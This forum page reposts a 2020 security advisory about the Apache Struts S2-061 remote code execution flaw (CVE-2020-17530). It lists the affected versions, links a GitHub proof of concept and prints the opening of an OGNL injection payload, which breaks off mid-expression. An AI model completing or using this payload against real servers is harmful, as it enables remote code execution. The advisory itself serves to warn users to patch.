搜索

[20396] 2020-12-10_CVE-2020-17530-POC-Struts远程代码执行

文档创建者：s7ckTeam
浏览次数：13
最后更新：2025-01-18
2020-12-10_CVE-2020-17530-POC-Struts远程代码执行 C V E - 2 0 2 0 - 1 7 5 3 0 - P O C - S t r u t s 远 程 代 码 执 行 安 全 告 知   K h a n 安 全 攻 防 实 验 室   2 0 2 0 - 1 2 - 1 0                   漏 洞 描 述 漏 洞 描 述 A p a c h e   S t r u t s 2 框 架 是 一 个 用 于 开 发 J a v a   E E 网 络 应 用 程 序 的 W e b 框 架 。 A p a c h e   S t r u t s 于 2 0 2 0 年 1 2 月 0 8 日 披 露   S 2 - 0 6 1   S t r u t s   远 程 代 码 执 行 漏 洞 （ C V E - 2 0 2 0 - 1 7 5 3 0 ） ， 在 使 用 某 些 t a g 等 情 况 下 可 能 存 在 O G N L 表 达 式 注 入 漏 洞 ， 从 而 造 成 远 程 代 码 执 行 ， 风 险 极 大 。 提 醒 我 校 A p a c h e   S t r u t s 用 户 尽 快 采 取 安 全 措 施 阻 止 漏 洞 攻 击 。           影 响 版 本 影 响 版 本 A p a c h e   S t r u t s   2 . 0 . 0   -   2 . 5 . 2 5                       漏 洞 利 用 漏 洞 利 用 h t t p s : / / g i t h u b . c o m / k a 1 n 4 t / C V E - 2 0 2 0 - 1 7 5 3 0 s 2 - 0 6 1 p o c : % { ( # i n s t a n c e m a n a g e r = # a p p l i c a t i o n [ " o r g . a p a c h e . t o m c a t . I n s t a n c e M a n a g e r " ] ) . ( # s t a c k = # a t t r [ " c o m . o p e n s y m p h o n y . x w o r k 2 . u t i l . V a l u e S t a c k . V a l u e S t a c k " ] ) . ( # b e a n = # i n s t a n c e m a n a g e r . n e w I n s t a n c e (
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理